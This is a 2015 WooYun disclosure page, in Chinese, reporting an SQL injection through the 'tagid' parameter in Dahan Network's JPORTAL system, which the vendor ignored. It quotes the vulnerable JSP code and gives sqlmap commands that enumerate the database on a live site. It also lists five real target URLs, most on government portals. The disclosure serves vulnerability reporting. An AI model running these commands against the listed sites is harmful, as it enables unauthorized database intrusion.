当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099361

漏洞标题:JPORTAL资源整合SQL注射漏洞三

相关厂商:南京大汉网络有限公司

漏洞作者: 路人甲

提交时间:2015-03-06 15:11

修复时间:2015-06-09 09:08

公开时间:2015-06-09 09:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-06: 细节已通知厂商并且等待厂商处理中
2015-03-11: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-05: 细节向核心白帽子及相关领域专家公开
2015-05-15: 细节向普通白帽子公开
2015-05-25: 细节向实习白帽子公开
2015-06-09: 细节向公众公开

简要描述:

JPORTAL资源整合SQL注射漏洞三

详细说明:

突然发现大汉网络的JPORTAL资源整合系统在一般应用里面,SO... 我来了
文件路径: /pertool_subsite/resource/res_detail_list_ajax.jsp?tagid=1
部分代码为:

String tagid = Convert.getParameter(request,"tagid");
String tagname = Convert.getParameter(request,"tagname");
int isiteid= userEntity.getI_siteid();
int linages = 5;
int nowpage = Convert.getParameterInt(request, "page", 1);
String userid = Convert.getParameter(request,"userid");
String msg = "";

//全局参数
Pertool_UserThemesBLF userthemesblf = new Pertool_UserThemesBLF();
String themesid = userthemesblf.getUserThemes(""+userEntity.getI_id(),channelid,userEntity.getI_siteid());
StringBuffer strbuf_even = new StringBuffer();
//取得频道
Pertool_ResourceService resblf = new Pertool_ResourceService();
Pertool_ChannelBLF channelBLF = new Pertool_ChannelBLF(request);
Pertool_ChannelEntity channelEntity = new Pertool_ChannelEntity();
channelEntity.setI_siteid(isiteid);
channelEntity.setVc_userid(""+userEntity.getI_id());
ArrayList<Pertool_ChannelEntity> al_channel = channelBLF.getChannelEntity(channelEntity);

//取得与标签相关的资源
Pertool_ResourceDetail resdetail = new Pertool_ResourceDetail();
ArrayList<Pertool_ResourceEntity> all_resentity = resdetail.getResByTagId(tagid,linages,nowpage,isiteid,userid,channelid);
ArrayList<Pertool_ResourceEntity> all_resEntityNum = resdetail.getResByTagId(tagid,0,0,isiteid,userid,channelid);
Pertool_ResourceEntity resentity = null;
String alltagName = "";
ArrayList<Pertool_TagEntity> allTagEntity = resdetail.getAllTags(tagid);


tagid进入getAllTags造成注入
sqlmap.py - "www.simt.com.cn/pertool_subsite/resource/res_detail_list_ajax.jsp?tagid=1" --dbms oracle

1.jpg


sqlmap.py - "www.simt.com.cn/pertool_subsite/resource/res_detail_list_ajax.jsp?tagid=1" --dbms oracle --current-db

2.jpg


5个案例:
http://www.simt.com.cn/pertool_subsite/resource/res_detail_list_ajax.jsp?tagid=1
http://inb.ningbo.gov.cn/pertool_subsite/resource/res_detail_list_ajax.jsp?tagid=1
http://portal.jinan.gov.cn/pertool_subsite/resource/res_detail_list_ajax.jsp?tagid=1
http://www.zj.gov.cn/pertool_subsite/resource/res_detail_list_ajax.jsp?tagid=1
http://pertool.sdds.gov.cn/pertool_subsite/resource/res_detail_list_ajax.jsp?tagid=1

漏洞证明:

修复方案:

对参数进行全局过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-09 09:08

厂商回复:

最新状态:

暂无